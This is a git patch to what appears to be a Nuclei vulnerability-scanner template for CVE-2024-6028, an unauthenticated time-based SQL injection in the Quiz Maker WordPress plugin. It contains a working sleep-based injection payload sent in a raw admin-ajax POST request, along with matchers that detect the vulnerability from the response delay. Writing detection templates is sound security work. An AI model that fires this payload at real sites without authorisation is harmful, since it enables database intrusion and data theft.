From 452fc31905ebf1a299beeb3f64c2b4a0e27e3099 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 27 Jun 2024 13:46:01 +0530 Subject: [PATCH] updated req, info & payload --- http/cves/2024/CVE-2024-6028.yaml | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/http/cves/2024/CVE-2024-6028.yaml b/http/cves/2024/CVE-2024-6028.yaml index f999194761..2fe98c7865 100644 --- a/http/cves/2024/CVE-2024-6028.yaml +++ b/http/cves/2024/CVE-2024-6028.yaml @@ -8,29 +8,33 @@ info: The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. remediation: Fixed in 6.5.8.4 reference: - - https://nvd.nist.gov/vuln/detail/CVE-2024-6028 - https://github.com/truonghuuphuc/CVE-2024-6028-Poc + - https://nvd.nist.gov/vuln/detail/CVE-2024-6028 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-6028 + cwe-id: CWE-89 metadata: verified: true max-request: 1 publicwww-query: "/wp-content/plugins/quiz-maker/" - tags: cve,cve2024,wp-plugin,quiz-maker + tags: cve,cve2024,wordpress,wp,wp-plugin,quiz-maker,sqli http: - raw: - | - @timeout: 45s + @timeout: 25s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - Content-Length: 114 - ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,4,0)]=&action=ays_finish_quiz + ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz matchers: - type: dsl dsl: - - 'duration>=4' + - 'duration>=6' - 'status_code == 200' - - 'contains_all(body,"status","scoreMessage","displayScore")' + - 'contains_all(body,"status\":","scoreMessage","displayScore")' condition: and